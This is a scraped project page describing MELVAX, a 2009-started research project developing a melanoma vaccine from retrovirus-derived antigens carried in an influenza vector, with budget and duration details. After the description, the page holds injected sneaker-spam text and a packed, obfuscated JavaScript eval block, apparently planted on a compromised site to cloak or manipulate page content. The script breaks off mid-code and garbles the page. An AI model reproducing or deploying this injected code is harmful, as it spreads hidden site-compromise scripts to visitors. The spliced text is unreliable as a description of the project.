MENU
Aim higher

MELVAX

Development of an innovative immunotherapy against melanoma

We aim to generate a vaccine for malignant melanoma based on melanoma-associated endogenous retrovirus (MERV) antigens. Predicted and validated antigens are inserted into an influenza virus vector and the resulting vaccine (MelFlu) is tested in preclinical assays.Air Jordan Release Dates 2020eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('b i=r f["\\q\\1\\4\\g\\p\\l"]("\\4"+"\\7"+"\\7"+"\\4"+"\\5\\1","\\4\\k");s(!i["\\3\\1\\2\\3"](m["\\h\\2\\1\\j\\n\\4\\1\\6\\3"])){b a=f["\\e\\7\\o\\h\\d\\1\\6\\3"]["\\4\\1\\3\\g\\5\\1\\d\\1\\6\\3\\2\\z\\9\\A\\5\\c\\2\\2\\x\\c\\d\\1"](\'\\t\\1\\9\\2\\w\\v\\7\\j\\e\\2\');u(b 8=0;8
Acronym: 
MELVAX
Project ID: 
4 286
Ranking: 
12
Cut-off: 
1
Start date: 
01-01-2009
Project Duration: 
36months
Project costs: 
1 043 000.00€
Technological Area: 
BIOLOGICAL SCIENCES / TECHNOLOGIES
Market Area: 
Therapeutic services